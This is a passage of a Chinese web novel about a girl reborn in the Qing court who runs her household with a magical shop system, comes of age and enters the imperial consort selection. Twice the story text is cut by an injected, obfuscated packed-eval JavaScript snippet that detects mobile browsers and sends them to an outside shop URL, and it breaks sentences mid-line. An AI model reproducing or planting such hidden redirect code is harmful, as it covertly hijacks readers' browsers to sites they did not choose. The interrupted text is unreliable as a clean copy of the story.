因着心里面有事,舒禾起了点大早,外边天色还蒙蒙亮时就睁开了眼睛,拉了拉床边的绳子,随着外边一声铃响,一排端着洗漱用具的丫鬟走了进来。 洗漱过后,舒禾纠结的看着紫苏拿着的两套衣服,浅紫色的那件上面有她喜欢的蝴蝶,但是玫红色的那件上面有她更喜欢的牡丹…… 纠结啊!衣服少了纠结,衣服多了也要纠结! 既然睁着眼睛选不出来,干脆闭着眼睛随便选了一件。 一刻钟后,紫苏抱着身穿玫红色旗装扎了两个小辫的舒禾,来到了苏晚清所住的正院。 守在门口的春眠看到了舒禾,和紫苏相互见了个礼就放了她们进去。 一进去,舒禾就挣扎着要下地,脚刚着地还没站稳就朝苏晚清跑去,看的苏晚清是一阵心惊肉跳。 放下梳妆的眉笔,对着飞扑过来的舒禾张开了怀抱,“你啊你,就不能小心点?要是摔了,可有你的疼的了。” “我没事的额娘,”说着舒禾挣脱了怀抱往后退了两步,有模有样的行了个礼:“给额娘请安。” 苏晚清眉眼弯弯的抬了抬手,“起来吧,过来让额 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听完之后,舒禾只觉得懵懵的,抬手指了指自己,“额娘你的意思是,要我在管着小院里面的几十号人的同时学习礼仪?” “舒禾,你身为咱们家的嫡女,以后是要进宫选秀的,依照你爹的官职,你肯定会被留牌子,无论是分给宗室还是被留到宫里面,御下和礼仪,都是要会的。 你现在还小,额娘不逼你,你看着学点,只要在及笄之前掌握就好。” 晕头晕脑的回到了小院,示意紫苏出去后,一下子就瘫倒在了床上。 【嘿,舒禾,你压到我了,翻个身,我要出来。】 舒禾往右翻了个身,宝石顺势从左边飞了出来,飞在半空中凝视着舒禾疲惫的神情,担心的询问。 【还好么舒禾,你看起来有点累。】 【有点不太好,额娘说让我学着管理小院同时学习礼仪,我都不敢想以后要怎么过。】 嗐,他还以为是什么大问题呢。 宝石降落到舒禾头测,张开盖子,【舒禾,朝这看——】 看清楚是什么后,舒禾猛地瞪大眼睛,捧着宝石匣子腾的一下坐起身,看着匣子里面那充满科技感的蓝屏,一股既陌生又熟悉的感觉袭上心头。 “宝石先生,你这是?” 外间的紫苏隐约听到房间里面有声音,但是又不确定,只能出声询问道:“格格,要奴婢进去吗?” “不用了,在外边待着。” 外边没声了,舒禾才将视线移向手中的宝石匣子,注意到她的视线,宝石晃了晃身体。 【实用商场,不超出世界观的东西,都可以在里面买到,我记得在生活区里面可以定制管理方案,舒禾你找一下,按照要求填写,就不用烦心管理小院的事了。】 越听舒禾的眼睛越亮,手指在蓝屏上来回滑动,最后在生活区的犄角旮旯里面找到了宝石所说的那个,不过…… 十两金子!这是什么天价商品! 一个破方案要她十两金子,她宁愿自己熬夜想办法。 像是猜到了舒禾的想法,宝石的提醒声恰到好处的响起,【这是终身服务价,就是不管以后你手底下多了多少人,都可以在上面录入录入信息并进行管理。】 【终身?】 舒禾翻看了一下底下的文字叙述,发现那里确实写了终身,而如果是一次的话,只需要十两银子。 一次十两银子的话倒也不算是贵,但是若是十两金子用终身的话,那还是终身的比较划算。 思及此,舒禾走到梳妆台前,拉开最下面的抽屉,财大气粗的从里面拿出一张一百两的银票拍在桌子上。 【宝石先生,这个东西我买了!】 【嗯……舒禾,商场里面只收实物,所以你要么拿一百两银子要么拿十两金子。】 舒禾无语的望着屏幕,这算什么,有钱花不出去? 算了算了,这年头不流行顾客是上帝的说法。 舒禾老老实实的将银票放回去,捡了一块过年时收到的金子扔到了宝石匣子里面,总算是成功购买了商品。 购买成功后,屏幕黑屏了一瞬,再亮起时,直接多出了一个模块,舒禾点开一看,赫然是下属管理模块。 根据新手引导,她需要先将手底下的人都聚到一块,在他们挨个自我介绍时打开模块,模块自动录入信息后,才能根据她的需求给那些人分配工作。 就……没有想象中的智能,在她的想象中,只要是她手底下的人,都会自带出现在模块上,根本不用她费什么心。 但是也还行,辛苦一次,一劳永逸。 将抽屉推回去,活动了一下手腕,朝着外边扬声道:“紫苏,召集手底下的人,我要训话!” 4. 及笄礼成 “是。” 一刻钟后,紫苏敲响房门,“格格,小院里面的人已经齐了,您要出来吗?” “要,不用进来,我自己出去!” 小跑着到房门口,深吸一口气,打开房门走了出去。 一出房门,下面乌泱泱一片人,这是舒禾第一次直观的感觉到伺候她的人数之多,对着过来抱她的紫苏摆了摆手,示意不用。 迈着一双小短腿走到众人正前方的雕花大椅边上,看着雕花大椅,舒禾心里面疯狂破防。 真不是她挑,放这么一张椅子在这,是准备看她爬上去吗? 就在舒禾思索怎么不伤面子的坐上去时,春晓带着准备好的丫鬟和嬷嬷过来了,看着院子里面的场景,眼里面闪过一丝了然。 摆了摆手示意带过来的人停下脚步,径直上前走到舒禾身边,半蹲下身行礼:“奴婢给格格请安,格格,奴婢将夫人交代的人送来了,请格格验收。” “好,我知道了。”舒禾点点头,环顾一圈,发现春晓挡住了大部分的目光,干脆放下面子求助,“春晓,抱我坐上去。” 等到春晓撤开,舒禾已经端坐在了椅子上,舒禾板着脸轻咳一声,“现在开始自我介绍,一个一个来,说自己的名字,以及都会些什么。” 话音落地,小院陷入寂静,底下的人面面相觑,不知道该从谁开始。 就在舒禾琢磨要不要再说一遍的时候,春晓上前一步,厉声道:“格格说的话当耳旁风,一个个的是想挨板子嘛!” 此话一出,底下的人全部都跪了下去,见此,春晓并没有立刻让起,而是弯腰凑到舒禾耳边耳语道:“格格,必要的时候,可以扮白脸收服人心。” 闻弦知雅意,舒禾点了点头,在春晓站好后,紧跟着说道:“现在,从右手边第一个开始自我介绍,做的好的话,今天这顿板子就免了。” 而话一出口,舒禾就知道刚才为什么没人说话了,敢情是她没说从谁开始啊! “奴才叫夏飞,管着院里面的小厨房,负责……” “奴才叫李曲,负责跑腿,但是上过一段时间学,会算账……” …… 随着时间的流逝,只有舒禾才能看到的面板上,已经记满了密密麻麻的信息,随着一键管理,适合他们的位置在后边已经表明。 舒禾抬手揉了揉鼻子,这方面她不是特别懂,因此,舒禾准备直接照搬它给出的方案。 一是上面有备份方便她记忆和留档,二是她花了钱,要知道那可是十两金子啊! 花了那么多金子买的东西不用,她嫌亏的慌! 在众人或期许或忐忑的目光下,舒禾开始了小院里面的人员调动,按照规格,她可以有四个一等丫鬟、四个二等丫鬟、八个三等丫鬟。 其他的不提,这些人要先挑出来。 瞥一眼面板,照本宣科的念道:“秋雨、秋风、秋霞、秋水,一等丫鬟。” 四个人里面,秋雨擅统筹,秋风擅刺绣,秋霞擅医理,秋水擅算账,想到这四个人是春晓刚带过来的,舒禾也反应了过来。 这几个人,怕是她额娘特意为她培养的,就算是今天她不这样分,一个月后她额娘也好提点着她将她们提上来。 再接再厉,接着念道:“冬雪、冬至、冬藏、冬枣,二等丫鬟。” 再看看这四个人的资料,舒禾的眼睛稍稍一亮,冬雪擅梳妆、冬至擅仿人字迹、冬藏擅打听消息、冬枣擅说书。 这这这……这简直就是为她量身定做的啊! 早上冬雪给她梳妆,她可以趁机多睡会;被罚抄书,冬雪上……啧,这美好生活,果然是辛苦一个时辰,幸福一生。 舒禾用小手敲了敲扶手,将剩下的职位分派了下来,只是小院里面骤然多了秋雨她们八个,有些人手就那么空了下来。 看着下面的备注,舒禾垂眸沉思,经商么……倒也不是不行。 她刚才大致扫了一眼,那个商场里面的东西动辄都是百两金子,要是依靠府里面的份例和额娘的贴补,她们娘俩迟早变成穷光蛋。 不过经商的话,她没有那个头脑,还是要再商场里面找找有没有能用的东西。 思及此,剩下的舒禾就打算先让他们干一些杂活,趁此机会,还能观察一下他们的性格,要是性格不好,直接剔除。 “你们几个先去小厨房帮忙,后边有了其他岗位,再给你们分配。” 岗位?就是活计的意思吗? 几人心头疑惑,但是并没有表露出来。 看着被分配的恰到好处的众人,春晓扬起一抹微笑,准备回去告诉担心格格的夫人,之前的担心可以放下了。 对着舒禾福了福身,“格格,这边的事完了,奴婢就先去回禀夫人了。” “好,路上慢点。” “奴婢谢格格关心。” 等到春晓离开后,舒禾对着紫苏张开手,“紫苏,抱我回房。” “是。” 新上任的几个一等丫鬟,见没人搭理她们几个,对视一眼,自觉的跟了上来。 然后就在房门口时被舒禾呵止住了,紫苏却抱着她走了进去。 房门被从身后合上,紫苏低敛着眉眼将舒禾放到床上,“格格,奴婢去点蜡烛。” “去吧,”舒禾坐在床边晃了晃悬空的两条腿,“紫苏,你和他成亲后,我会去求额娘,让她放你去他在庄子上做……做管事!不会让你们两个分开的。” 闻言,紫苏无奈的笑了笑,走过来帮舒禾将鞋子脱了,一边帮她揉脚一边说道:“格格,又说笑了,哪有女子做庄子上管事的。” “我说有就有!” 舒禾暗下决心,这个月好好表现,等月底额娘点评时争取要个庄子过来,到时候就让紫苏去做管事,嗯……把那个男的调过去给紫苏管。 一个月的时间转瞬即逝,这一个月下来,小院被治理的越来越好,连三班倒制度都实行上了。 然而等到交作业时,舒禾还是有些紧张,给额娘请了安之后,小心翼翼的问道:“额娘,你觉得我做的怎么样?” 事到临头,她还是害怕额娘对她失望。 看清女儿眼里面隐藏的不安,苏晚清眼里面闪过一丝心疼,明明她和老爷都很疼爱舒禾,舒禾这孩子却…… 笑着摸了摸女儿的头发,大夸特夸道:“额娘的小舒禾做的很好,非常好,好到额娘为你骄傲。” 心里面想要夸奖,真正得到了舒禾却有些不好意思,将头埋进臂弯里面,瓮声瓮气笑道:“嘿嘿,也……也就那样吧,一般般了,没有额娘夸的那么好。” “别谦虚了,你这些天的表现春晓都一一告诉我了,知人善用这一点,舒禾做的很好。” “那也是额娘教的好……” 商业互夸了一会,舒禾突然想到庄子的事,拉着额娘的袖子晃了晃,“额娘,我想要个东西。” “舒禾想要什么?只要额娘有的,都可以给你。”没有的,那就让老爷找来再给,被叫一声阿玛,可不能白叫。 听到自家额娘这话,舒禾搓了搓小手,不客气道:“也不要多的,就要一个小庄子就好。” “一个小庄子?”苏晚清不可置信的重复了一遍。 刚才女儿那不好意思的样子,她还以为要的是什么天材地宝呢,结果到头来只是一个小庄子,有一种心理准备全部落空的感觉。 舒禾看着额娘不可置信的表情,误会她这是要的有点多了,两只互相搓着的小手僵了僵。 害怕额娘为难,连忙道:“如果不行的话……” “行!怎么就不行了!春晓,去,把我在西郊那庄子的地契拿过来,再把琉璃厂附近铺子的……” 直到离开,舒禾还有一种如在梦中感觉。 这一趟,她得到了一个大庄子,没错,就是大庄子,她额娘嫌她要的小庄子不好,直接给换成了大庄子。 这还不是重点,重点是!还给了她两个京城繁华地段的铺子!说亏了算额娘的,赚了算她的! 【啊啊啊!真不愧是我的神仙额娘!】 听着舒禾脑海中克制不住的尖叫声,宝石无奈的扇了扇盖子,【舒禾,你小声点,耳朵快被你吵掉了。】 “哦哦。”舒禾小幅度的点了点头,只一双垂在半空中的脚不停晃荡,表达着内心的激动。 安静了一小会,舒禾抱着怀里面的宝石匣子上了床,胖手轻轻摩擦着宝石匣子上的纹路。 小声商量道:“宝石先生,你说,我要不要弄几个方子放到店铺里面?” 【弄呗。】 宝石百无聊赖的打了个哈欠,提醒道,【你弄归弄,那些火药啊、抗生素啊什么的,现在最好不要往外拿。】 “嗯,我知道的,匹夫无罪,怀璧其罪。” 说着,舒禾将手指从火药方子上移开,转而在搜索框里面打出来‘玻璃配方’四个字。 买下弹出来的配方后,想到那些让她无比眼馋的方子,舒禾有些不甘心的问道:“那些配方,就只能放到商场里面堆灰了吗?” 【那倒也不是,只要舒禾你有足够的实力或者你能给那些东西一个合理的出处,不会让人想到怪力乱神上,就还是能往外拿的。】 “实力或者合理的出处嘛……” 看着舒禾脸上若有所思的表情,宝石默默从她怀里面挣出来,飘到房梁上面打起了盹,徒留还在床上的舒禾陷入久久的沉思。 没人知道舒禾都想了什么,只是从这天过后,舒禾开始积极学习各种礼仪和经商之道。 期间,宝石看不下去劝道,【舒禾,这些东西学不学都行,你的身体才是最重要的,歇一歇吧。】 舒禾不紧不慢的翻看着下面递上来的账册,【宝石先生,不用担心我,真累的话,我肯定歇。】 【可是……唉,算了,你心里面有数就好。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734934|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 数个春去秋来后,眨眼间,就来到了及笄礼前夕。 “格格!夫人派春晓姐姐送了两套衣服过来,春晓姐姐现下就在外边等着,说让您尽快选一套出来,她好根据衣服布置及笄礼上面的一应物件。” 闻言,舒禾下笔的动作一顿,一滴墨汁顺着笔尖滴下,这张写了一半的纸算是废了。 舒禾也没有练下去的心思了,将手中的毛笔递给一边候着的秋雨,拿过她手中的手帕擦了擦手,低低的应了一声。 手放在秋霞伸出来的胳膊上,带头朝卧房走去。 普一进门,舒禾就看到了那两件异常华美的旗装。 额娘送来的,尺寸不肖说,肯定是合身的,让她选,也就是选个颜色罢了。 而说是颜色,一件玫红,一件大红色,实际上差的也就是饱和度。 打量了两眼,随口道:“大红色不错。” 秋霞会意,躬身后退:“那奴婢这就去回了春晓姐姐。” 等秋霞离开后,舒禾连带着将所有人都打发出去,走到窗边倚窗而立。 手指戳了戳惬意的趴在窗台上宝石,声音里面满是羡慕,“你倒是悠闲。” 【舒禾不开心?】 “嗯,”舒禾双手放在窗台上,目光在外边的花花草草上游移,闷闷道:“及笄礼后,再有三个月就要进宫选秀了,我怎么可能开心的起来。” 【可是,你已经为入宫做了很多准备了啊。】 “准备是为了让自己过的不那么惨,并不是代表我愿意尽管。” 许久,都没有得到宝石的回应,舒禾也不在意,只看向空中的目光更是飘渺。 待到明天,她来到这里,也就满十五年了,十五年啊…… 足有她前世人生的四分之三了,这些年里,她也偶有疑惑,就凭着那一时对爱的渴求而选择,到底是对是错。 但是,每每想到,这世疼爱她的额娘,想要什么都尽力为她寻来的父亲,凡事都会让着她的两个哥哥。 她就知道,这件事已经不能单纯的以对错来划分了。 抬手接住被微风吹来的花瓣,轻轻揉碎,嗅着空中逐渐浓郁的花香。 眼神逐渐坚定,她要做好他们的女儿、妹妹。 她要带着胤褆走出这已经开始腐朽的封建王朝,不让他牵涉进夺嫡风波,落败后波及她的家人。 她的家人,是她的底线,不容任何人践踏,若是胤褆执意于那一个皇位,非要争、非要抢。 她不介意在事发后,带着全家登上她出海商队的船直接离开。 甩掉手上的花瓣,转身回房。 看着舒禾的背影,宝石张了张头顶的盖子,到底是没说什么。 孩子大了,有自己的想法了,他有时候劝的多了,反而惹人生厌。 而且舒禾安排的事情,他多少知道一些,左不过是些小事,他总会护着她的。 一夜时间眨眼即逝,被秋雨从床上叫醒换衣服时,舒禾还有些反应不过来,一直懵懵的任由她们几个倒饰。 只在穿衣服时,配合的动胳膊动腿,让干什么就干什么。 这种状态在进入准备好的礼堂时,瞬间荡然无存,舒禾深吸一口气,直接换成了‘战斗’模式。 微笑着步入礼堂,和站在首位的阿玛额娘对视一眼,微不可察的和额娘交换了个眼神后,方才对前来观礼的众人笑着颔首打招呼。 随着一声开礼,及笄礼正式开始。 前面的环节倒还好,舒禾都能控制住自己的情绪波动。 待到拜谢父母的环节,一股酸意蓦然涌上鼻尖,舒禾强忍着泪水跪下,双手抵地,额头重重叩下去,“女儿谢阿玛、额娘教诲。”也谢这十几年如一日的宠爱支持。 苏晚清低头用手帕带掉眼角的泪水同时,伸手捣了捣愣愣的不知道想什么的科尔坤。 被捣了一下,科尔坤因不敢置信女儿这么快就到了及笄年龄而游离的灵魂突然归位,忙道:“好好好。” 一连三个好字后,这场及笄礼就算是成了,苏晚清示意秋雨过来扶着还在落泪的女儿回去。 待到舒禾离开后,方才还有些郑重的气氛立马活泛起来,不一会的功夫,苏晚清身边就围了一堆人,话里话外全是要不要结亲的意思。 虽说八旗的女儿都要进行选秀,但凡事总有例外嘛,若两家真的有意,大不了选秀前进宫前找皇上哭两声,求个恩典在第二轮的时候放出宫就行了。 面对这些人七嘴八舌的打探,苏晚清直接都给推了,按照她和老爷的意思是,如果落选了,就多留舒禾几年,如果没有落选…… 没有落选,那就是指婚,由不得他们这些做臣子、臣女来管了,他们能做的,只有准备嫁妆了。 这边,舒禾刚走到小花园附近,就听到了粗犷的鸟叫声,循声望去,只见不远处一只手在花丛中摇的欢快,见她看过去,那只手摇的就更欢了。 5. 入宫选秀 抬起被秋雨扶着的手臂摆了摆,“你们在这里候着,我去那边一趟。” “格格,您……” 剩下的话舒禾不用听都知道是什么,抬手做了个停的手势,“不用说了,我不想听。” 说完不等一应丫鬟反应过来就朝刚才看到的地方走去,提着裙边绕过路上的花花草草,果不其然在花丛看到了呲着牙傻乐的二哥。 放下提着裙边的手,双手环胸,好整以暇的看着达寿,“二哥,今天不是归家的日子,你又逃……” “嘘——哎哟,我的好舒禾啊,你小声点,我没逃,我是趁着午休的时间出来的,一会就回去。” “那你……” 舒禾刚说了两个字,就见达寿递过来一个楠木盒子,盒子细细长长的,三指宽、婴儿小臂长,看不出来里面是什么,但是这个形状…… “给,这是我前段时间在金玉阁订购的簪子,二哥没什么钱,所以这个簪子不够贵也不够好,但是舒禾你放心,等以后二哥有钱了,给你买更好的!” 接过盒子紧紧攥在手心,刚才在及笄礼上强忍着没落下的泪在这一刻落下了。 本来还在傻笑的达寿看见妹妹哭了,也顾不得会不会被秋雨那些丫鬟看到了,站起身慌手慌脚的就想帮舒禾擦泪,却因为男女大防的原因,始终不敢真的碰上去。 “舒禾……舒禾,别哭,二哥知道这簪子不好……” “才不是!”舒禾打断达寿的话,用随身带着的手绢擦了擦泪,“这个簪子很好,我很喜欢,我会好好珍藏它的!” 达寿想说你都没打开看怎么就喜欢了,但是看着妹妹红通通的眼睛,最后还是什么都没说。 反倒是舒禾看着他这沉默的样子,朝着不远处的秋雨招了招手,待到秋雨过来后,示意秋雨将装钱的荷包拿过来。 接过荷包反手塞进二哥手中,“拿着,在军营里面不要亏了自己,想吃什么就买,没钱了给妹妹说,妹妹给你钱。” “不不不,我手里面有钱,舒禾你拿回去。” “你不是要在午休结束前赶回去吗?再不走可就来不及了,我也要回去休息了,秋雨,赶紧扶我回去。” 舒禾说完伸出手示意秋雨扶着她赶紧开溜,不耐烦待在这里继续听达寿狡辩,府里面的一应事务额娘都有让她上手,对于二哥手里面有多少钱她还是知道的。 金玉阁里面最便宜的一根簪子都要上百两银子,他这傻二哥手里面绝对没有那么多,如果她没猜错,为了给她买簪子,应该还借了外债。 这一事实,令舒禾更觉得心里面涨涨的,她的家人,真的是在能力范围内竭尽所能的对她好,额娘是、阿玛是、两个哥哥也是。 留守在院子里面的冬雪见到格格回来了,眼睛一亮,快步走过去行礼:“奴婢见过格格,格格,方才大少爷派人送了一个盒子过来,说是给您的及笄礼,奴婢放到您寝房里间的桌子上了。” “嗯,我现在过去看看,秋霞,你去小厨房要点吃的送到我房内。” 目送舒禾进了寝房后,几个留守在小院的自动围到秋雨身边,央着秋雨给她们讲及笄礼现场都发生了什么。 听着外边叽叽喳喳的声音,舒禾无奈的摇了摇头,性子都这么活泼,也只有秋雨还算是稳妥,三月后入宫选秀,还是带着秋雨算了。 回到卧房将揣了一路的盒子放到桌子上,拉开椅子坐下,拿起大哥送来的盒子打开,里面是一支绿松石玉簪,再打开二哥送的,是一支祥云花纹金簪。 两支簪子各有各的好,轻轻抚摸了两下,又将簪子原模原样的放了回去。 她的首饰并不少,每季度初,额娘都会给她做上个四、五套,对于这类有特殊意义的首饰,她更愿意妥善保管、珍藏,而不是让它们和寻常物件一样在频繁的使用中磨损直至报废。 及笄礼后,各府的帖子如雪花一样朝府里面涌来,有些能拒,有些不能拒,今天去这个府上赏花、明天去那个府上品茶……再加上要看账本,舒禾忙的是晕头转向的。 在不断的赴宴中,时间就像是被按了加速器一样,很快就来到了入宫参加选秀的日子。 随着太阳升起,神武门大开,秀女们排了老长的队逐渐动了起来,因着自家阿玛是兵部尚书,舒禾站的位置并不算靠后。 前面六个进去后就轮到她了,转身对着不远处来送她的大哥摆了摆手,示意他不要等了,赶紧回去吧。 在看到大哥点头后,舒禾头也不回的走了进去,秀女和秀女带着的侍女不在同一个地方检查。 秋雨往左边走去,舒禾则是跟着接引嬷嬷朝右边的小屋走去,一进去就借着袖子遮挡将准备好的荷包塞了过去。 捏着手里面鼓鼓囊囊的荷包,负责检查身体上有无明显疤痕的嬷嬷满意一笑,“格格,脱衣吧。” 舒禾点点头,脱下衣服转了一圈后。 “伊尔根觉罗氏,身上无疤痕,无异味,恭喜格格,出去往左走就能找到带进来的丫鬟。” “多谢嬷嬷提醒。”想了想,又塞了一个荷包过去。 看着对方愈发满意的眼神,即使这些年经商赚了不少钱,心里面仍然像是在滴血一样,这可都是钱啊! 偏偏不给还不行,不给的话,这些嬷嬷搞点小动作就够她们这些秀女喝一壶的了。 顺着刚刚那个嬷嬷的指引,出门往左走找到秋雨后,又找了接引的宫女,来到专门给这届秀女安排的房间这才算完。 舒禾躺在房间内的软榻上,看着进进出出忙前忙后的秋雨,突然叹了一口气。 听到这声叹息,秋雨放下手里面的托盘跪坐在软榻前的桌子旁,轻声细语的问道:“格格,可是有什么烦心之事?” “只是想到进宫第一天就不方便成这样,这还剩下的半个月还不知道是什么样呢。” 说话间想到今天的种种,舒禾有些烦闷的皱了皱眉,这宫里面真是样样不好,偏还不能光明正大的说出口,要不然被有心人听到,告到上面,治你一个大不敬之罪,连小命都没了。 一想到赐婚给胤褆后就要在这宫里面住十一年,谨言慎行十一年,舒禾就觉得要疯。 深吸一口气,对着从她说完话就开始沏茶不再开口的秋雨摆了摆手,“不用沏了,拿了银子,去要些热水过来,我这就歇下了。” 秋雨干脆利落的收拾好桌上的茶具,弯腰行礼,“奴婢这就去。” 一番洗漱过后躺到床上,已经冷静了不少的舒禾,想到刚才那莫名其妙的烦躁情绪,心下知道这么下去不行。 如果一直保持这种状态,等到殿选之时,一个不妙就变成了她不敬皇家、不满当今圣上。 在这皇权当道的清朝,有了这样的罪名,即使她爹是兵部尚书也保不了她,还有可能连累了同族,让她爹一起吃挂落。 在这宁静的黑夜中,舒禾想了很多很多,直到第二天早上醒来,已经调整好了自己的心态和状态。 彼时,舒禾正坐在梳妆台前任由秋雨摆弄着她的头发,梳那规定好的二把子头。 余光瞥见秋雨偷看了她无数次,不由得轻笑一声,问道:“你不好好梳头,总是瞥我干什么?” “格格赎罪,奴婢只是一时……一时……” 见秋雨说不出个所以然来,舒禾勾唇一笑,转身抓住秋雨的手拍了拍,一语双关道:“好了,说不出就不说,你家格格不是那么小气的性子。” 夜里她就已经想明白了,她自出生就知道自己的未来,并为此做足了准备。 比起大部分贵女已经足够幸运,若还自怨自艾,既辜负了这些年额娘的培养也辜负了她的先知。 只是她想明白了才睡去,倒可怜了察觉到她情绪的秋雨,平白为她担心了一夜。 “咚咚咚——半个时辰后由引路太监引格格去指定地点进行第一轮殿试,还请格格到时候不要迟到。” “嗯,秋雨。” 秋雨了然,快步走到房门口拉开房门,叫住欲走的小太监,将一个包着五两碎银子的荷包塞了过去,并笑着道了声:“谢公公提醒,这些,权当请公公喝茶。” “呵呵,姑娘客气了,”传话的小太监捏了捏被塞到手里面的荷包,看了看四周,突然小声道:“第一批殿试一共叫了十个秀女,格格是第一个。” “谢公公告知。”说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734935|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋雨又塞了一个荷包过去。 等小太监捏着两个荷包离去后,秋雨方才回到房中将刚才听来的消息说给舒禾,说完后颇有些担心的问道:“格格,咱们家并不是这批秀女中家室最显赫的,您这……” 剩下的话秋雨并没有说出来,但是舒禾也知道她想说什么,“不着急,一切自有上面决定,总不会叫人将咱们害了去。” 听到自家主子这样说的话,秋雨心里面虽还有些不安,却好了不少,小心翼翼的拿起小刷子沾了些口脂抹到舒禾唇上,力求将妆面做到尽善尽美。 看到秋雨眼里面掩饰不了的惊惧,舒禾心下稍叹,昨天她的情绪到底是影响到了秋雨,若不然凭借秋雨以往的性子,不至于为了这么点小事就不安。 不对,这也不算小事了。 第一批第一个,直接压了许多贵女一头,怕是在出宫前,她都会是众多贵女眼里面的眼中钉肉中刺了吧? 不过,谁在乎呢。 舒禾垂眸敛下眸中的冷意,只希望那些人别把主意打到她头上,若不然…… 半个时辰后,第一批的十个秀女已经等在了殿外,其中,舒禾被搀扶着站在第一个,里面传召的声音响起后,又走在第一个带着剩下的秀女走了进去。 一进殿,众秀女蹲下行抚鬓礼礼,三拜过后,一个个目不斜视的盯着地面,没一个敢主动抬头看坐在上首的各位妃子。 “下列秀女,依次开始介绍自己的才艺——” “奴婢伊尔根觉罗氏.舒禾,擅书画……” “奴婢董鄂氏.敏诺,擅……” 下面的人介绍的起劲,上首的四妃却注意力各异。 儿子不到年龄的就是过来走个过场,儿子年龄到年纪的例如惠妃,有康熙的透露,早就知道谁是未来的儿媳,自打舒禾一进来,那眼神就没挪开过。 看着舒禾不卑不亢,进退有度的样子,只感觉越看越满意。 要说婆婆和儿媳原是天生的仇家,惠妃怎么都不会看未来儿媳顺眼,无奈,中间有好大儿衬托。 两年前,惠妃想着胤褆已经十五,年龄也不小了,便想给他赐两个通房,结果一句不想要庶出孩子给她撅回来了,她想着胤褆年龄小忍了。 前两天康熙给她说了赐婚的事,她昨天把胤褆叫过来让他带两个通房回去,别等到了大婚时什么都不懂,结果!又一句只想要嫡子给撅回来了! 连着两次都被撅回来,惠妃气的够呛,也懒得管胤褆这个只知道气人混账了,只想挑个合心意的儿媳,赶紧生个嫡子出来,到时候她倒要看看,胤褆还有什么理由拒绝! 憋了一口气的惠妃,看着底下容貌美、看上去性子的也不错的舒禾。 端起面前的茶杯抿了一口,对自己的贴身宫女招了招手,将手上戴着的白玉镯褪下,递过去,耳语了两句。 宫女径直走到下方,将手中的玉镯双手递过去,轻声道:“我家娘娘看格格合眼缘,明天想邀格格去延禧宫一叙。” “谢娘娘赏识,明日奴婢自当按时前去。” 舒禾行礼时是对着上首行的礼,惠妃受了这一礼后,不过微微颔首,旁边的太监瞬间意会,高声道:“第一轮殿选已过,请各位格格先行回到储秀宫,不日进行第二轮。” “是,奴婢们告退。” 缓缓退出殿内后,舒禾长呼一口气,感受到有几道怨毒了视线落到她身上,心底冷笑,面上却是珍之又珍的将玉镯直接戴到了右手上。 感受到那几道视线在一顿后,更加‘热烈’后,唇角勾出一抹淡笑,施施然的走了。 这一幕,有不少同行的秀女和宫女太监都看到了,不多时,这个消息就传入了惠妃耳中。 当场反击,不是个软性子。 下了这个判断后,惠妃只觉这个儿媳更合她的心意了,满意之余,又想到了自家那个讨人嫌的儿子。 吩咐了贴身宫女去准备明天的见面礼后,又唤来了一个小太监,淡声吩咐道:“你去上书房找大阿哥,就说本宫甚是想念。” 让胤褆明天来提前看看自己未来福晋,也算是她这个额娘能做的事了,至于不满……不满憋着。 6. 二见与归家 上书房内,台上一个白胡子的老师傅捻着胡子讲述着近年来发生的一些事,当做案例帮助这些皇阿哥们更好的理解知识。 台下的皇阿哥则是带着各自的伴读三五成群坐在一块,各干各的事,听得不多,其中最数太子听得最为认真,胤褆最为不认真。 看着听得认真的太子,再看看吊儿郎当的大阿哥,台上的师傅重重的叹了一口气,将手中的书放下,对下方心早就不知道飞到哪去的皇阿哥们弯腰行了一礼,“今日的课程到此结束,课业是围绕方才所讲的案例想一个解决方法。” 等到师傅走了后,胤褆站起身伸了个懒腰,斜了眼装模作样的太子胤礽,冷哼一声,拍拍屁股走了,那样子不说胤礽,其他几个皇阿哥看的也是一阵烦闷。 在场的阿哥心里面都是一个想法:都是皇阿玛的儿子,怎么你就这么嚣张? 凭一己之力拉了所有仇恨的胤褆一出门就看到了额娘宫里面的小太监,不耐烦的轻啧一声,快步走过去问道:“你,过来干嘛?” “奴才参见大阿哥,奴才过来,是惠妃娘娘让奴才过来告诉您,她对您甚是想念,您看?” “知道了,回去告诉额娘,爷明天去给她请安。” “主子,您明天上午还有课……” 胤褆斜了一眼某个多话的小太监,冷哼一声,极其不耐道:“那就翘了。” 一节早就上过无数遍的课,他不上又能怎么样,他就不信那个师傅还敢去找皇阿玛告状! 今天的翘了说得多理直气壮,第二天被安排坐在屏风后边的胤褆就有多后悔,早知道额娘让他过来是为了这么个事,他打死都不过来,搞得现在过来了想走都走不了。 别误会,他的腿没被捆,他主要是害怕额娘拿小时候抽他的棍子出来抽他,到时候被抽事小,被太子知道了专门过来嘲讽他事大。 就这么憋屈的坐了两刻钟,喝了一壶茶后,胤褆看到外边进人了,首先进来的是一个他不认识但直觉很好看的女子,女子身后跟着的那个他倒是认识,是他额娘的贴身宫女翠蕊,那么那个女子—— 胤褆的猜想还没有出来,就见他额娘从侧边走了过去,经过他身边时,还毫不避讳的给了他一个大大的白眼。 “舒禾来了,坐,翠水,上茶。” 闻言,舒禾赶忙起身道谢,“奴婢谢娘娘看座。” 